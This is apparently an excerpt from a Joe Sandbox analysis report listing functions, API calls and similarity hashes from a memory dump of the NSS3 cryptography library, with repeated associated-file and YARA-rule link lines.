Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 6666f66fb3836981768846a80c0e70cbf37c4193c8d99bd54c9332f95ec9208b
Instruction ID: 20700a3b96621df3159098ccd63bfce196c9b94ff8ff6748d06a9864e888291c
Opcode Fuzzy Hash: 6666f66fb3836981768846a80c0e70cbf37c4193c8d99bd54c9332f95ec9208b
Instruction Fuzzy Hash: 0B51F771E042599FDF208E59CA887AEB7B5FB49328F690139DD55A7B40D732AC00CBE0

Function 6C72DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C72DF37
EnterCriticalSection.KERNEL32(?), ref: 6C72DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C72E02B
PR_Unlock.NSS3(?), ref: 6C72E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C72E090
PR_Unlock.NSS3(?), ref: 6C72E0AF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a33d9be66bc323a8b65618a8ec25c9fbdde6eb60df736bd4e49911a1ee74e428
Instruction ID: badd53dd0af463370786f41a8633bf9ee45d62685f8b439b6a4ac6fca220c869
Opcode Fuzzy Hash: a33d9be66bc323a8b65618a8ec25c9fbdde6eb60df736bd4e49911a1ee74e428
Instruction Fuzzy Hash: DC51D2315006049FDB309F25CA48B66B3B5FF55319F204538E8AA47B91D739E849CBD2

Function 6C72BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C72BD1E

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

Part of subcall function 6C7457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C70B41E,00000000,00000000,?,00000000,?,6C70B41E,00000000,00000000,00000001,?), ref: 6C7457E0
Part of subcall function 6C7457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C745843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C72BD8C

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C72BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C72BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BE3A

Part of subcall function 6C703E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
Part of subcall function 6C703E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6
Part of subcall function 6C703E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE
Part of subcall function 6C703E60: PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
Part of subcall function 6C703E60: PL_FreeArenaPool.NSS3 ref: 6C703F14
Part of subcall function 6C703E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BE52

Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E
Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33
Part of subcall function 6C702E00: TlsGetValue.KERNEL32 ref: 6C702E4E
Part of subcall function 6C702E00: EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
Part of subcall function 6C702E00: PL_HashTableLookup.NSS3(?), ref: 6C702E71
Part of subcall function 6C702E00: PL_HashTableRemove.NSS3(?), ref: 6C702E84
Part of subcall function 6C702E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
Part of subcall function 6C702E00: PR_Unlock.NSS3 ref: 6C702EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72BE61

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 6e680d0327f124372b2740a154854e5870e466e2dec643385fec0f90e35e14e0
Instruction ID: 11ec0c3baadfca77d048f58c219336514d1c718f25e7d798351de0c640296a6a
Opcode Fuzzy Hash: 6e680d0327f124372b2740a154854e5870e466e2dec643385fec0f90e35e14e0
Instruction Fuzzy Hash: 1A41E2B6E00210AFC710CF28DE89AAA77E8EB49718F144168F94997711E735FD14CB92

Function 6C74AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C74AB3E,?,?,?), ref: 6C74AC35

Part of subcall function 6C72CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C72CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C74AB3E,?,?,?), ref: 6C74AC55

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C74AB3E,?,?), ref: 6C74AC70

Part of subcall function 6C72E300: TlsGetValue.KERNEL32 ref: 6C72E33C
Part of subcall function 6C72E300: EnterCriticalSection.KERNEL32(?), ref: 6C72E350
Part of subcall function 6C72E300: PR_Unlock.NSS3(?), ref: 6C72E5BC
Part of subcall function 6C72E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C72E5CA
Part of subcall function 6C72E300: TlsGetValue.KERNEL32 ref: 6C72E5F2
Part of subcall function 6C72E300: EnterCriticalSection.KERNEL32(?), ref: 6C72E606
Part of subcall function 6C72E300: PORT_Alloc_Util.NSS3(?), ref: 6C72E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C74AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C74AB3E), ref: 6C74ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C74AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C74AD2B

Part of subcall function 6C72F360: TlsGetValue.KERNEL32(00000000,?,6C74A904,?), ref: 6C72F38B
Part of subcall function 6C72F360: EnterCriticalSection.KERNEL32(?,?,?,6C74A904,?), ref: 6C72F3A0
Part of subcall function 6C72F360: PR_Unlock.NSS3(?,?,?,?,6C74A904,?), ref: 6C72F3D3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 4708270d9a28ecb508db0646dc25c3bb6a96295571ac9859e2aabdcd8e7be7d8
Instruction ID: 27b1e4b7d8ca9aee544729b6e4f4b12089f870e9f45213e812cbf0652b63da14
Opcode Fuzzy Hash: 4708270d9a28ecb508db0646dc25c3bb6a96295571ac9859e2aabdcd8e7be7d8
Instruction Fuzzy Hash: 23313BB1E002065FEB008F69CD499AF7776EF84728B18C138E8159BB41EB31DD1587A1

Function 6C728C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C728C7C

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C728CB0
TlsGetValue.KERNEL32 ref: 6C728CD1
EnterCriticalSection.KERNEL32(?), ref: 6C728CE5
PR_Unlock.NSS3(?), ref: 6C728D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C728D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C728D93

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0303a34f6b5a55fa721d90b3d9caee49ff666b1e489548874b3be67fa1e1d6f6
Instruction ID: fbab5b84b39a18ccb87fb130d2b0edb5e3e24b499933c046e4013404dd7480b6
Opcode Fuzzy Hash: 0303a34f6b5a55fa721d90b3d9caee49ff666b1e489548874b3be67fa1e1d6f6
Instruction Fuzzy Hash: DD316A72E00201AFE7109F68CE497EA77B0BF59318F140236EA1967B90D776A958CBC1

Function 6C769D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C769C5B), ref: 6C769D82

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C769C5B), ref: 6C769DA9

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76136A
Part of subcall function 6C761340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76137E
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?), ref: 6C7613CF
Part of subcall function 6C761340: PR_Unlock.NSS3(?,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C769C5B), ref: 6C769DCE

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C7613F0
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,?,?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C761445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C769C5B), ref: 6C769DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C769C5B), ref: 6C769DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C769C5B), ref: 6C769E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C769C5B), ref: 6C769E91

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Part of subcall function 6C761560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C75FAAB,00000000), ref: 6C76157E
Part of subcall function 6C761560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C75FAAB,00000000), ref: 6C761592
Part of subcall function 6C761560: memset.VCRUNTIME140(?,00000000,?), ref: 6C761600
Part of subcall function 6C761560: PL_ArenaRelease.NSS3(?,?), ref: 6C761620
Part of subcall function 6C761560: PR_Unlock.NSS3(?), ref: 6C761639

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 23c55c91adbb6ba8cb2d8ffe2acc72982d6332429b1ecde802b93a8614411b74
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 634182B5501606AFE740DF16DA48B92BBA5FF55358F148128DC188BFA1EB72E834CF90

Function 6C72DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C72DDEC

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

PK11_DigestBegin.NSS3(00000000), ref: 6C72DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C72DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C72DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C72DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C72DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72DECC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: c770d916745d5d451e262ec52f1850e1d9d7d8bee0d7b2ba88731f8a1c75fe01
Instruction ID: 471a5b1d7b66507b164517ce6f78fc1df203dd3f93f6b0855c4a5b6c855a4005
Opcode Fuzzy Hash: c770d916745d5d451e262ec52f1850e1d9d7d8bee0d7b2ba88731f8a1c75fe01
Instruction Fuzzy Hash: 3931E7B2D002146BEB10AE65AE49BBB76ACEF74708F050135ED09A7701FB35D918C6E2

Function 6C707E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C707E48

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C707E5B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C707E7B

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C82925C,?), ref: 6C707E92

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C707EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C707ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C707EFA

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: d4ec01df73b5dcda25dacfda0c2858eba402ffc40dedd501d0a7b83245d26450
Instruction ID: 51ee31402005c78d5055b7e6a640327b2320434a85addd7eb3ade7844d41bc44
Opcode Fuzzy Hash: d4ec01df73b5dcda25dacfda0c2858eba402ffc40dedd501d0a7b83245d26450
Instruction Fuzzy Hash: A8317EF2B012159BEB108A699E48B5B73ECAF44658F194934ED59EBB41E730FC04C7E1

Function 6C75DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C75DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75DCAD

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 94a91767e5bffdb26b4a94cf4f63a6ed16708b0d24d027a17cb411382dfb2f78
Instruction ID: c3ef836c5fdf1e2557be9fbaae9ace1555f7c9b5d544730e9773e458b7395726
Opcode Fuzzy Hash: 94a91767e5bffdb26b4a94cf4f63a6ed16708b0d24d027a17cb411382dfb2f78
Instruction Fuzzy Hash: 6E31AFB5A002019FE750CF1DDA88B92B7F8AF25358F548438E94CCBB01EB71E954CBA5

Function 6C722E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C71E728,?,00000038,?,?,00000000), ref: 6C722E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C722E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C722E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C722E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C722E9E
PR_Unlock.NSS3(?), ref: 6C722EAB
PR_Unlock.NSS3(?), ref: 6C722F0D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: aeab368710aa53ca296f1872af10318d95b92e888c29513003e3a8a137e3c21f
Instruction ID: aa1d6fe88d4f649e8d6e1e991c01fd355faa162b22cbb90ced9ced1d77de0124
Opcode Fuzzy Hash: aeab368710aa53ca296f1872af10318d95b92e888c29513003e3a8a137e3c21f
Instruction Fuzzy Hash: 023126B5E00106ABEB115F28DD488B6B779FF0526CB088174EC0887A12EB31ED65CBD1

Function 6C741EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&tl,6C726295,?,00000000,?,00000001,S&tl,?), ref: 6C741ECB

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&tl,6C726295,?,00000000,?,00000001,S&tl,?), ref: 6C741EF1
EnterCriticalSection.KERNEL32(?), ref: 6C741F01
PR_SetError.NSS3(00000000,00000000), ref: 6C741F39

Part of subcall function 6C74FE20: TlsGetValue.KERNEL32(6C725ADC,?,00000000,00000001,?,?,00000000,?,6C71BA55,?,?), ref: 6C74FE4B
Part of subcall function 6C74FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C74FE5F

PR_Unlock.NSS3(?), ref: 6C741F67

Strings

S&tl, xrefs: 6C741EA0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&tl
API String ID: 704537481-3412841603
